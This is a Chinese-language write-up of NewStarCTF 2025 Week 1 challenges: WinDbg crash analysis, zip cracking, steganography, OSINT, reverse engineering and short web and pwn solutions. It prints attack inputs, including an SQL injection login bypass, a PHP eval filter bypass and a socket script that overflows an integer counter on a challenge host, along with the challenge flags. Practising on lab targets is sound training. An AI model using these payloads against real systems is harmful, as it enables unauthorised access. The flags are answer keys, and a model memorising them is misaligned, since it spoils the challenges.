每周都打了,但也没怎么打,打着玩的。misc 可能有点参考价值(其实也不多),其他的全是一坨(勿喷)。
Week 1
Misc
我不要革命失败
Challenge
小吉的机械革命笔记本又双叒叕蓝屏了!这次他不想再坐以待毙!他发来了他在C:\Windows\Minidump\的蓝屏文件,请你帮忙分析一下,让机革摆脱舍友的歧视。听说大伙看蓝屏日志都用的是WinDbg,操作也很简单,好像要敲什么!analyze -v?
【难度:简单】
Solution
在 File -> Settings -> Debugging settings -> Default symbol path 填写微软官方的符号服务器地址然后点击 OK:
srv*c:\symbols*http://msdl.microsoft.com/download/symbols输入题目描述中的命令:
!analyze -v-
崩溃类型
在日志的最上方,
!analyze -v的输出结果显示:text******************************************************************************** ** Bugcheck Analysis ** ********************************************************************************CRITICAL_PROCESS_DIED (ef) A critical system process died这里的
CRITICAL_PROCESS_DIED就是蓝屏显示的终止代码的文字描述,“A critical system process died”是一种非常严重的错误,Windows 为了保护自身会立刻蓝屏 -
故障进程
继续向下看日志可以找到好几个地方指明了是哪个进程出了问题:
textPROCESS_NAME: svchost.exe还有一行更具体的:
textCRITICAL_PROCESS: svchost.exe这说明导致这次蓝屏的关键进程就是
svchost.exe
FLAG
flag{CRITICAL_PROCESS_DIED_svchost.exe}MISC城邦-压缩术
Challenge
欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语”abcd…xyz0123…789”)
【难度:简单】
Solution
6位密码门 说明密码长度为 6,abcd...xyz0123...789 意味着密码范围是小写英文字母和数字

根据提示爆破得到压缩密码是 ns2025,得到提示:
恭喜你,通过了第一道考验,请用其他压缩魔法打开下一扇门吧!(下一扇门明明没有密码,为什么还是要输入密码呢?)显然是伪加密,用随波逐流修复一下,解压
这个 key.txt 和压缩包里面的 key.txt 是一模一样的,很基础的明文攻击
FLAG
flag{You_have_mastered_the_zip_magic!}EZ_fence
Challenge
rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。
【难度:简单】
Solution
图片文件尾藏了一个 rar 文件,先提取,发现要密码
图片内的文字是:
rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB修复图片宽高后在下方出现以下文字:
8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_
如图得到压缩包的解压密码
New5tar_zjuatrojee1mage5eed77yo#解压缩拿到 flag
FLAG
flag{y0u_kn0w_ez_fence_tuzh0ng}OSINT-天空belong
Challenge
OSINT是指通过公开可获取的信息源收集、分析和利用数据从互联网中提取有价值的信息,并最终将其转化为可操作的情报。
请挑战者们通过OSINT技术,获取你想要的信息吧!flag格式:flag{航班号_当前已经经过的省会城市名称(**市)_所拍摄设备制造商}
【难度:简单】
Solution
先查图片的 exif 信息
ExifTool Version Number : 13.25File Name : OSINT-天空belong.jpgDirectory : E:/DesktopWarning : FileName encoding must be specified [x2]File Size : 418 kBFile Modification Date/Time : 2025:08:24 18:02:45+08:00File Access Date/Time : 2025:10:02 00:53:34+08:00File Creation Date/Time : 2025:08:24 18:02:45+08:00File Permissions : -r--r--r--File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegExif Byte Order : Big-endian (Motorola, MM)Make : XiaomiOrientation : Rotate 90 CWModify Date : 2025:08:17 15:03:47GPS Latitude Ref : Unknown ()GPS Speed : undefGPS Altitude Ref : Above Sea LevelGPS Processing Method :GPS Speed Ref : Unknown ()GPS Longitude Ref : Unknown ()GPS Time Stamp : 00:00:00GPS Date Stamp :Y Resolution : 72X Resolution : 72Camera Model Name : Xiaomi 15Y Cb Cr Positioning : CenteredExif Version : 0230Aperture Value : 1.6Scene Type : Directly photographedExposure Compensation : 0Exposure Program : Program AEColor Space : sRGBMax Aperture Value : 1.6Exif Image Height : 1080ISO Speed : 50Brightness Value : 8.65Date/Time Original : 2025:08:17 15:03:47Flashpix Version : 0100Sub Sec Time Original : 472White Balance : AutoInteroperability Index : R98 - DCF basic file (sRGB)Interoperability Version : 0100Exposure Mode : AutoExposure Time : 1/4059Offset Time : +08:00Flash : Off, Did not fireSub Sec Time : 472F Number : 1.6Exif Image Width : 1920ISO : 50Components Configuration : Y, Cb, Cr, -Focal Length In 35mm Format : 23 mmSub Sec Time Digitized : 472Create Date : 2025:08:17 15:03:47Shutter Speed Value : 1/4056Metering Mode : Center-weighted averageFocal Length : 6.5 mmSensitivity Type : ISO SpeedOffset Time Original : +08:00Scene Capture Type : StandardLight Source : D65Sensing Method : Not definedResolution Unit : inchesXiaomi Model : Xiaomi 15Compression : JPEG (old-style)Thumbnail Offset : 1478Thumbnail Length : 4709Image Width : 1920Image Height : 1080Encoding Process : Baseline DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)Aperture : 1.6Image Size : 1920x1080Megapixels : 2.1Scale Factor To 35 mm Equivalent: 3.5Shutter Speed : 1/4059Create Date : 2025:08:17 15:03:47.472Date/Time Original : 2025:08:17 15:03:47.472+08:00Modify Date : 2025:08:17 15:03:47.472+08:00Thumbnail Image : (Binary data 4709 bytes, use -b option to extract)GPS Date/Time : 00:00:00ZGPS Latitude :GPS Longitude :Circle Of Confusion : 0.009 mmField Of View : 76.1 degFocal Length : 6.5 mm (35 mm equivalent: 23.0 mm)Hyperfocal Distance : 3.10 mLight Value : 14.4从 exif 信息中得到的有用信息是:拍摄设备制造商是 Xiaomi,拍摄时间是 2025:08:17 15:03:47
图片是机翼的照片,上面泄露了这架飞机的国籍注册号 B-7198,可以在在线网站上查询到这台飞机在 2025 年 8 月 17 日下午 3 点时的飞行状况:B-7198 Flight Tracking and History 17-Aug-2025 (TNA / ZSJN-CSX / ZGHA) - FlightAware
这趟飞机的航班号是 UQ3574,起飞时间是 01:37PM,计算得到在 03:03PM 时已经起飞了 1h26min,拖动一下时间进度条就能看到当时飞机的位置了

飞机在湖北省上空,省会是 武汉市
FLAG
flag{UQ3574_武汉市_Xiaomi}前有文字,所以搜索很有用
Challenge
欢迎来到文字的世界!这里的字符,要么以你未曾想象过的方式排列,要么你根本都“看”不见。但是没有关系,这里是线上赛,我们不断网,尽情冲浪吧!(ps:因为出题人fanbing,track2的隐藏数据 并 没 有 被 压 缩,请不要“-C”)
【难度:困难】
Solution
Track 1:fL4g已经被挤在中间了
零宽度空格符 (zero-width space) \u200B : 用于较长单词的换行分隔 零宽度非断空格符 (zero width no-break space) \uFEFF : 用于阻止特定位置的换行分隔 零宽度连字符 (zero-width joiner) \u200D : 用于阿拉伯文与印度语系等文字中,使不会发生连字的字符间产生连字效果 零宽度断字符 (zero-width non-joiner) \u200C : 用于阿拉伯文,德文,印度语系等文字中,阻止会发生连字的字符间的连字效果 左至右符 (left-to-right mark) \u200E : 用于在混合文字方向的多种语言文本中(例:混合左至右书写的英语与右至左书写的希伯来语),规定排版文字书写方向为左至右零宽字符隐写+base64解码

flag{you_
Track 2:咏雪
这简直就是在fxxk我的brain.txt 内容如下
here's key+++++ ++++[ ->+++ +++++ +<]>+ +++++ +++++ +++++ +.<++ ++[-> ++++< ]>.<++++[- >---- <]>-. +++++ +++.+ ++++. ----- ---.< +++[- >+++< ]>+++ +++.<++++[ ->--- -<]>- -.+++ +++++ .--.< +++[- >+++< ]>+.< +++[- >---< ]>---.++++ ++++. ..... <+++[ ->--- <]>-- .<brainfuck 解码得到 brainfuckisgooooood
咏雪.docx 如下

联想到前面给出了 key brainfuckisgooooood 很容易想到是 snow 隐写,把全部内容提出来放到 咏雪.txt 然后用工具提取(注意这里由于出题人没压缩所以不用加 -C 参数)
snow.exe -p "brainfuckisgooooood" 咏雪.txt----- ...- ...-- .-. -.-. ....- -- . ..--.-解摩斯电码
0V3RC4ME_
Track 3:谁多谁少,一算便知
附件太长我就不粘了,思路是提取出字符表然后统计各个字符的出现次数,最后根据字符出现的次数从高到低排序
import collections filename = "谁多谁少,一算便知.txt" # 使用 with 语句读取文件全部内容with open(filename, 'r', encoding='utf-8') as file: content = file.read() # --- 1. 提取字符表 ---character_table = sorted(list(set(content)))print(f"字符表 (共 {len(character_table)} 种):")print(''.join(character_table))print("-" * 30) # --- 2. 统计每个字符的个数 ---char_counts = collections.Counter(content) # --- 3. 打印结果 (按数量从高到低排序) ---print("统计结果:") # 定义特殊空白字符的可读性表示special_char_map = { '\n': r'\n (换行)', ' ': ' (空格)', '\t': r'\t (制表符)'} for char, count in char_counts.most_common(): display_char = special_char_map.get(char, char) print(f"{display_char}:{count}")字符表 (共 95 种): !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~------------------------------统计结果:c:1500H:1450@:14001:1350L:1300e:1250n:1200G:11503:1100s:1050}:1000w:659!:648i:637V:635F:632K:631Q:631A:629.:627v:6279:626d:625;:625&:622]:621m:619Y:619>:619h:618t:6175:613):612k:612#:6106:608r:607T:607u:606C:6054:6050:601J:601x:600Z:599::598E:597M:597<:597q:597z:596o:596P:594/:594U:594":594b:593+:593|:592p:592B:591{:591y:590$:590?:5887:587a:585%:584 (空格):584*:583~:582,:581-:579^:579[:579l:5772:576_:575(:573R:573f:571\:571':566O:565W:563=:560`:559g:557I:5578:556X:556D:556S:553j:547N:539cH@1LenG3s}
FLAG
flag{you_0V3RC4ME_cH@1LenG3s}Web
multi-headach3
Challenge
什么叫机器人控制了我的头?
【难度:简单】
Solution
访问 / 得到:
Hello!Today is 2025/10/01welcome to my first website!ROBOTS is protecting this website!But... Why my head is so painful???!!!接着访问 /robots.txt 得到:
User-agent: *Disallow: /hidden.php接着访问 /hidden.php 重定向回了 /index.php,curl 看看
curl -I https://eci-2zehy0lhdsvatd41dope.cloudeci1.ichunqiu.com/hidden.phpHTTP/1.1 302 FoundDate: Wed, 01 Oct 2025 18:50:23 GMTContent-Type: text/htmlConnection: keep-aliveX-Powered-By: PHP/5.5.9-1ubuntu4.29Set-Cookie: found_hidden=1Fl4g: flag{30eb463a-688d-4087-8a14-430cb8987bce}Location: /index.phpFLAG
flag{30eb463a-688d-4087-8a14-430cb8987bce}strange_login
Challenge
我当然知道1=1了!?
【难度:简单】
Solution
明显是 SQL 注入,还是最简单那种,用户名填 admin' OR '1'='1,密码随便
FLAG
flag{00289c2c-3579-48a9-ba55-369cc187c87b}黑客小W的故事(1)
Challenge
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
Solution
抓包看看,直接POST /hunt,payload 填大点,在控制台发个包试试看
const url = '/hunt';const payload = {count: 99}; fetch(url, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(payload) }).then(response => { if (!response.ok) { throw new Error('Network response was not ok: ' + response.status); } return response.json(); }).then(data => { console.log(data);}).catch(error => { console.error(error);});返回了 {"NextLevel":"/Level2_mato"},跳转到第二关
根据下面的提示得知要访问 /talkToMushroom?shipin=mogubaozi,交谈后又知道要用 POST 方法(参数 guding 在上一段对话中提到过),还是在控制台发包
fetch('/talkToMushroom?shipin=mogubaozi', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'say=guding' }).then(response => response.text()).then(data => { console.log(data); });得到新的提示 这样吧,你用 DELETE 的方法把我身上的虫子(chongzi)都弄掉,我就把骨钉给你,还是在控制台发包
fetch('/talkToMushroom?shipin=mogubaozi', { method: 'DELETE', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'shipin=chongzi'}).then(response => response.text()).then(data => { console.log(data); });再回复一次要骨钉
fetch('/talkToMushroom?shipin=mogubaozi', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'say=guding'}).then(response => response.text()).then(data => { console.log(data); });得到回复 你已经帮我把虫子弄掉了,我把骨钉给你吧,你可以回去找那个大家伙了(/Level2_END),根据提示跳转到 /Level2_END
改 UA 头,CycloneSlash -> CycloneSlash/1.0 -> CycloneSlash/2.0 -> CycloneSlash/2.0 DashSlash/1.0 -> CycloneSlash/2.0 DashSlash/5.0
然后在 /Level4_Sly 得到 flag
FLAG
flag{9a254a84-22bd-4cd2-bfea-b4d608075239}宇宙的中心是php
Challenge
所有光线都逃不出去…但我知道这不会难倒你的
(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)
【难度:简单】
Solution
F12 找到 s3kret.php,然后访问,给出了下面的代码:
<?phphighlight_file(__FILE__);include "flag.php";if(isset($_POST['newstar2025'])){ $answer = $_POST['newstar2025']; if(intval($answer)!=47&&intval($answer,0)==47){ echo $flag; }else{ echo "你还未参透奥秘"; }}在控制台发包:
fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'newstar2025=057'}).then(response => response.text()).then(data => { console.log(data); });在最底下得到 flag
FLAG
flag{75fd9c81-19d0-4a01-951b-d5d45aa2fc9c}我真得控制你了
Challenge
小小web还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】
Solution
删一下拦截的元素然后按下按钮跳转到 /weak_password.php
弱口令爆破,账密是 admin/111111,下一关来到了 /portal.php
拿到源码:
<?phperror_reporting(0); function generate_dynamic_flag($secret) { return getenv("ICQ_FLAG") ?: 'default_flag';} if (isset($_GET['newstar'])) { $input = $_GET['newstar']; if (is_array($input)) { die("恭喜掌握新姿势"); } if (preg_match('/[^\d*\/~()\s]/', $input)) { die("老套路了,行不行啊"); } if (preg_match('/^[\d\s]+$/', $input)) { die("请输入有效的表达式"); } $test = 0; try { @eval("\$test = $input;"); } catch (Error $e) { die("表达式错误"); } if ($test == 2025) { $flag = generate_dynamic_flag($flag_secret); echo "<div class='success'>拿下flag!</div>"; echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>"; } else { echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>"; }} else { ?><?php } ?>审计代码可以知道参数 newstar 要满足以下条件:
- 计算结果是 2025
- 只使用允许的字符:数字、*, /, ~, (), 空格
- 不能只包含数字和空格
随便构造一个满足条件的等式就行 /portal.php?newstar=2025/1
FLAG
flag{fad9d5bf-245e-4035-bc19-6da7bf63090f}别笑,你也过不了第二关
Challenge
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】
Solution
控制台改变量就行,改两次就过了
score = 9999999;FLAG
flag{e466e3ec-c40e-4f61-a2cb-4bcbfdb6e3f0}Reverse
Strange Base
Challenge
奇怪?这base64为什么不能一把梭了?
【难度:中等】
Solution
__int64 __fastcall main(){ int binlength; // eax size_t Size; // rax char enc[48]; // [rsp+20h] [rbp-90h] BYREF unsigned __int8 output[48]; // [rsp+50h] [rbp-60h] BYREF unsigned __int8 input[48]; // [rsp+80h] [rbp-30h] BYREF _main(); memset(input, 0, sizeof(input)); memset(output, 0, sizeof(output)); puts_0("It's time to show your flag to me~~~"); strcpy(enc, "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="); scanf_s("%s", input); binlength = strlen((const char *)input); base64_encode(input, (char *)output, binlength); Size = strlen(enc); if ( !memcmp_0(output, enc, Size) ) printf("Oh! You're awesome!!!"); else puts_0("Wrong!"); return 0;}打开一眼看到密文 T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=,接下来看加密函数 base64_encode
char *__cdecl base64_encode(const unsigned __int8 *bindata, char *base64, int binlength){ int j_1; // eax int v4; // eax int ja_1; // eax int v6; // eax int v7; // eax unsigned __int8 current; // [rsp+7h] [rbp-9h] unsigned __int8 currenta; // [rsp+7h] [rbp-9h] int j; // [rsp+8h] [rbp-8h] int ja; // [rsp+8h] [rbp-8h] int jb; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h] i = 0; j = 0; while ( i < binlength ) { j_1 = j; ja = j + 1; base64[j_1] = aHelloACrqzyB4s[(bindata[i] >> 2) & 0x3F]; current = (16 * bindata[i]) & 0x30; if ( binlength <= i + 1 ) { base64[ja] = aHelloACrqzyB4s[current]; base64[ja + 1] = 61; v4 = ja + 2; j = ja + 3; base64[v4] = 61; break; } ja_1 = ja; jb = ja + 1; base64[ja_1] = aHelloACrqzyB4s[(bindata[i + 1] >> 4) | current]; currenta = (4 * bindata[i + 1]) & 0x3C; if ( binlength <= i + 2 ) { base64[jb] = aHelloACrqzyB4s[currenta]; v6 = jb + 1; j = jb + 2; base64[v6] = 61; break; } base64[jb] = aHelloACrqzyB4s[(bindata[i + 2] >> 6) | currenta]; v7 = jb + 1; j = jb + 2; base64[v7] = aHelloACrqzyB4s[bindata[i + 2] & 0x3F]; i += 3; } base64[j] = 0; return base64;}定位到自定义表 aHelloACrqzyB4s
.rdata:0000000140004000 aHelloACrqzyB4s db 'HElLo!A=CrQzy-B4S3|is',27h,'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV'.rdata:0000000140004000 ; DATA XREF: base64_encode+41↑o.rdata:0000000140004000 ; base64_encode+8C↑o ....rdata:000000014000403B db 'KJNMF',0拼接得到 HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM
编写解密脚本
def base64_decode(encoded_str, alphabet): # 1. 创建解码映射 decode_map = {char: index for index, char in enumerate(alphabet)} # 2. 处理填充字符 '=' padding_count = encoded_str.count('=') if padding_count > 0: encoded_str = encoded_str[:-padding_count] # 3. 将密文转换为二进制字符串 binary_str = "" for char in encoded_str: index = decode_map[char] binary_str += format(index, '06b') # 4. 移除因填充而产生的多余二进制位 if padding_count == 1: binary_str = binary_str[:-2] elif padding_count == 2: binary_str = binary_str[:-4] # 5. 将二进制字符串按8位一组转换为字节 decoded_bytes = bytearray() for i in range(0, len(binary_str), 8): byte_chunk = binary_str[i:i+8] if len(byte_chunk) == 8: decoded_bytes.append(int(byte_chunk, 2)) # 6. 将字节数组解码为字符串 return decoded_bytes.decode('utf-8', errors='ignore') table = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV KJNM"cipher = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9="flag = base64_decode(cipher, table)print(flag)FLAG
flag{Wh4t_a_cra2y_8as3!!!}X0r
Challenge
no xor,no encrypt.
【难度:签到】
Solution
int __fastcall main(int argc, const char **argv, const char **envp){ char Str2[32]; // [rsp+20h] [rbp-60h] BYREF _BYTE v5[16]; // [rsp+40h] [rbp-40h] char Str[36]; // [rsp+50h] [rbp-30h] BYREF int i_1; // [rsp+74h] [rbp-Ch] int j; // [rsp+78h] [rbp-8h] int i; // [rsp+7Ch] [rbp-4h] _main(); puts_0("Please input your flag: "); scanf("%25s", Str); i_1 = strlen(Str); if ( i_1 == 24 ) { for ( i = 0; i < i_1; ++i ) { if ( i % 3 ) { if ( i % 3 == 1 ) Str[i] ^= 0x11u; else Str[i] ^= 0x45u; } else { Str[i] ^= 0x14u; } } v5[0] = 19; v5[1] = 19; v5[2] = 81; for ( j = 0; j < i_1; ++j ) Str[j] ^= v5[j % 3]; strcpy(Str2, "anu`ym7wKLl$P]v3q%D]lHpi"); if ( !strcmp(Str, Str2) ) puts_0("Right flag!"); else puts_0("Wrong flag!"); return 0; } else { puts_0("Wrong flag length!"); return 0; }}编写解题脚本
cipher = "anu`ym7wKLl$P]v3q%D]lHpi"target = bytearray(cipher, 'ascii') key1 = [0x14, 0x11, 0x45]key2 = [0x13, 0x13, 0x51] intermediate = bytearray(24) for i in range(24): intermediate[i] = target[i] ^ key2[i % 3] flag = bytearray(24) for i in range(24): flag[i] = intermediate[i] ^ key1[i % 3] print(flag.decode('ascii'))FLAG
flag{y0u_Kn0W_b4s1C_xOr}Puzzle
Challenge
咦?存在于这个程序中的flag貌似被人打碎了。你能找到flag的碎片并拼凑出完整的flag吗?
【难度:简单】
Solution
part1:Puzzle_Challenge 组合出的字符串
-
反编译
Puzzle_Challenge(0x1400014ef):textSource = "Do_";Y0u_ = "Y0u_";strcpy(Destination, "Do_");strcat(Destination, Y0u_); -
part1 = "Do_Y0u_"
part2:提示的函数名
- 反编译
Like_7his_Jig(0x140001450):- 文本:“You found the second part of the flag—The function name.”
part2 = "Like_7his_Jig"
part3:异或还原的数据
-
反编译
Its_about_part3(0x14000147d):textfor (i = 0; i < 8; ++i) v1[i] = __data_start__[i] ^ 0xAD; -
定位符号:
__data_start__ @ 0x140003000 -
读取前 8 字节:
textde ed da f2 dd d8 d7 d7 -
XOR 计算(逐字节 ^ 0xAD):
textde ^ ad = 73 ('s')ed ^ ad = 40 ('@')da ^ ad = 77 ('w')f2 ^ ad = 5f ('_')dd ^ ad = 70 ('p')d8 ^ ad = 75 ('u')d7 ^ ad = 7a ('z')d7 ^ ad = 7a ('z') -
part3 = "s@w_puzz"
part4:main 中的“奇怪字符串”
- 反编译
main(0x140001543):- 直接打印字符串表中的提示与格式
- 在字符串表中发现:
"1e_Gam3" @ 0x140004000 part4 = "1e_Gam3"
FLAG
flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}EzMyDroid
Challenge
普普通通的安卓逆向,请准备好Jadx
【难度:简单】
Solution

FLAG
flag{@_g00d_st@r7_f0r_ANDROID}plzdebugme
Challenge
动态调试是学习逆向必不可少的一部分:)
【难度:中等】
Solution
gpt 一把梭大法
from Crypto.Cipher import AES # Data from IDA (32 bytes ciphertext)ciphertext = bytes([ 0x1a, 0x90, 0x75, 0xeb, 0x0f, 0xe0, 0xde, 0xdf, 0x26, 0xb9, 0x1e, 0xda, 0x06, 0xd7, 0xc2, 0xa5, 0xc8, 0x09, 0xfb, 0x46, 0xd7, 0x8c, 0x11, 0x17, 0x4a, 0x39, 0x25, 0x59, 0xa0, 0xf1, 0xd6, 0x30]) # RC4 key "Wow"rc4_key = b"Wow" def rc4_crypt(key: bytes, data: bytes) -> bytes: # KSA S = list(range(256)) j = 0 keylen = len(key) for i in range(256): j = (j + S[i] + key[i % keylen]) & 0xFF S[i], S[j] = S[j], S[i] # PRGA i = j = 0 out = bytearray() for b in data: i = (i + 1) & 0xFF j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF] out.append(b ^ K) return bytes(out) # AES key (two qwords written to memory in little-endian)key = bytes([ 0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, # from 0xA6D2AE2816157E2B 0xAB, 0xF7, 0x97, 0x75, 0x46, 0x41, 0x11, 0x00 # from 0x001141467597F7AB (zero-padded)]) iv = bytes([ 0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11, 0x45, # from 0x4511144511144511 0x14, 0x11, 0x45, 0x14, 0x11, 0x45, 0x14, 0x11 # from 0x1114451114451114]) # Pipeline: RC4 -> AES-128-CBC decrypt -> XOR 0x26rc4_out = rc4_crypt(rc4_key, ciphertext)aes = AES.new(key, AES.MODE_CBC, iv)aes_plain = aes.decrypt(rc4_out)flag = bytes(b ^ 0x26 for b in aes_plain) print(flag.decode('utf-8'))FLAG
flag{It3_D3bugG_T11me!_le3_play}Pwn
pwn’s door
Challenge
Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。
【难度:签到】
Solution
from pwn import * HOST = '8.147.132.32'PORT = 23283p = remote(HOST, PORT) password = b'7038329' p.recvuntil(b'password: ').decode()p.sendline(password) p.interactive()FLAG
flag{74c648dc-e5d6-4251-a7c4-6ea1e9a13864}INTbug
Challenge
整数好像有些奇怪的秘密
【难度:简单】
Solution
unsigned __int64 func() { __int16 v1; int v2; // BYREF unsigned __int64 v3; v3 = __readfsqword(0x28u); v1 = 0; while (1) { v2 = 0; __isoc99_scanf("%d", &v2); if (v2 <= 0) break; // 非正数则退出循环 if (++v1 < 0) { // 有符号16位溢出到负数时成立 puts("You got it!\n"); system("cat flag"); } } puts("You can only input positive number!\n"); return v3 - __readfsqword(0x28u);}辅助信息(main 与初始化):
int main(...) { init(...); puts("welcome to NewStarCTF2025!\n"); alarm(100); func(); return 0;} int init(...) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); return setvbuf(stderr, 0, 2, 0);}- 漏洞点:func 中使用了有符号 16 位计数器(
__int16 v1),每次输入正数时自增并检查(++v1 < 0)。 - 当
v1从 32767 溢出为 -32768 时条件成立,打印“You got it!”并执行system("cat flag")。 - 只需连续输入 32768 次正整数(例如“1”)即可触发拿到 flag。
import socketimport time HOST = "47.94.87.199"PORT = 24717 def main(): total = 32768 per_batch = 1024 deadline = time.time() + 120 with socket.create_connection((HOST, PORT), timeout=5) as s: s.settimeout(0.2) sent = 0 collected = b"" s.recv(4096) while sent < total and time.time() < deadline: batch = min(per_batch, total - sent) s.sendall(("1\n" * batch).encode()) sent += batch try: buf = s.recv(4096) if buf: collected += buf print(buf.decode(errors="ignore"), end="") if b"flag" in collected.lower(): pass except socket.timeout: pass # 读取剩余输出直到超时或关闭 end_deadline = time.time() + 10 while time.time() < end_deadline: try: buf = s.recv(4096) collected += buf print(buf.decode(errors="ignore"), end="") except socket.timeout: continue if __name__ == "__main__": main()FLAG
flag{3bb9a457-4895-41f0-a625-a076a77dd457}GNU Debugger
Challenge
进入pwn的世界之后的第一关,了解你的好伙伴gdb
【难度:简单】
这是一个熟悉gdb的好机会,在开始挑战之前,请确保你的电脑已经安装好gdb。
gdb 在绝大部分 Linux 发行版上都已默认安装,你可以在 shell 中输入 gdb 命令进行确认
若你的计算机尚未安装 gdb,则可以使用如下命令进行安装,请自行分辨你所使用的发行版。Debian / Ubuntu:
sudo apt-get install -y gdb若你已经提前配置好环境,安装好了pwndbg之类的插件,我推荐使用原生gdb就好了。
这些插件能够看到的信息更多,但是对于没什么基础的你可能不太合适,我们慢慢来就好。
如果你不知道如何取消使用这些插件的话,去~/.gdbinit这个文件里将”source xxx”之类的语句注释掉吧。题目的流程为:
- 启动靶机获得端口和ip
- 启动程序: ./gdb_challenge (假设你已经在这个程序所在的目录)
- 进行一系列的gdb挑战
- 完成所有挑战,得到flag
ps: 这题暂时用不到ida哦,推荐直接执行程序,跟着流程来就好啦。不过也可以通过逆向工程来得到flag
Solution
┌──(kali㉿kali)-[~/Desktop]└─$ ./gdb_challenge###输入 run <ip> <端口> 开始游戏, 其中ip和端口通过开启容器得到### ###使用示例 run 127.0.0.1 7777### ###按下 ctrl + c 断开连接### Reading symbols from ./gdb_challenge...(No debugging symbols found in ./gdb_challenge)(gdb) run 47.94.87.199 34825Starting program: /home/kali/Desktop/gdb_challenge 47.94.87.199 34825[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".###向导加入了队伍。. 向导:欢迎打开PWN的大门,我是向导,来到这里的第一次考验,本关考验你和你的搭档GDB (GNU Debugger)的契合程度,毕竟在PWN的世界中离开了GDB就无法生存了呢。。。当然了设置这道关卡的人没给调试信息,所以在 dbg (debug) 的过程中你或许会看到一些来自gdb的输出提示,这些都是无关要紧的,让我们开始吧完成4个关卡后就能得到flag咯--- 关卡 1: 已验丁真 ---向导:我放了一个随机数在'r12'寄存器里面哦, 你可以借助GDB的力量一眼丁真吗?找到r12的16进制值就按下c(continue)来告诉我答案吧! Program received signal SIGTRAP, Trace/breakpoint trap.0x0000555555555530 in stage_0_register_check ()(gdb) p/x $r12$1 = 0x41c4d520553a142e(gdb) cContinuing.向导:r12寄存器里面装着什么呢?好难猜啊, 记住我要16进制数字捏,例如0x114之类的数字: 0x41c4d520553a142e向导:正解! 下一关咯 --- 关卡 2: 义眼丁真 ---向导:这次是内存捏, 我留了一句话在某个地方捏.偷偷告诉你这个地方在哪里QwQ -> 0x555555557c27猜猜我要对你说什么。找到了就按下c(continue)来告诉我答案吧! Program received signal SIGTRAP, Trace/breakpoint trap.0x00005555555556a3 in stage_1_memory_check ()(gdb) x/s 0x555555557c270x555555557c27: "GDB_IS_POWERFUL"(gdb) cContinuing.向导:你找到了吗QwQ,告诉我你找到了什么:GDB_IS_POWERFUL向导:正解! 下一关!. --- 关卡 3: 犹豫丁真 ---向导:啊,程序中有个函数跑得太快了,他的身上有最后一关的钥匙!我们要抓住他,用GDB让他停下来!如果没能抓住他的话,我们就没办法继续往前走了.让他停下来拿到钥匙之后,按下一次c把钥匙拿过来,然后再次按下c继续我们的旅程吧. 注意需要慢慢来,不要按得这么快哦 偷偷告诉你这个函数在 -> 0x555555555779 Program received signal SIGTRAP, Trace/breakpoint trap.0x0000555555555813 in stage_2_breakpoint_check ()(gdb) b *0x555555555779Breakpoint 1 at 0x555555555779(gdb) cContinuing. Breakpoint 1, 0x0000555555555779 in function_to_break_on ()(gdb) cContinuing.向导:他停下来了! 在这个函数身上找到了最后一关的钥匙.接下来是最后一关了哦. --- 关卡 4: 应用丁真 ---来到最后一关了,由于环境影响,已经听不清楚向导说的话了。向导:我们的 '(&*(……¥*&¥#!¥&……*&*&!@¥#' 现在只有 1 个.....但是要过关的话一共需要 0xdeadbeef 个你知道葫芦侠的传说吗,好在GDB有一个强大的功能,他可以*&¥&@34#! 改.地$^&!$址 -> 0x7fffffffd9b4 …*& Program received signal SIGTRAP, Trace/breakpoint trap.0x000055555555598c in stage_3_state_modification ()(gdb) set {int}0x7fffffffd9b4 = 0xdeadbeef(gdb) cContinuing.向导离开了队伍。. [*] Initializing security protocols...[+] 世界上即将增加一个PWN高手了捏[+] FLAG : flag{175e6046-5260-47a3-8ed1-e6265c6791d2} [Inferior 1 (process 9104) exited normally]FLAG
flag{175e6046-5260-47a3-8ed1-e6265c6791d2}overflow
Challenge
咦?程序好像有后门,但是执行不到怎么办呢
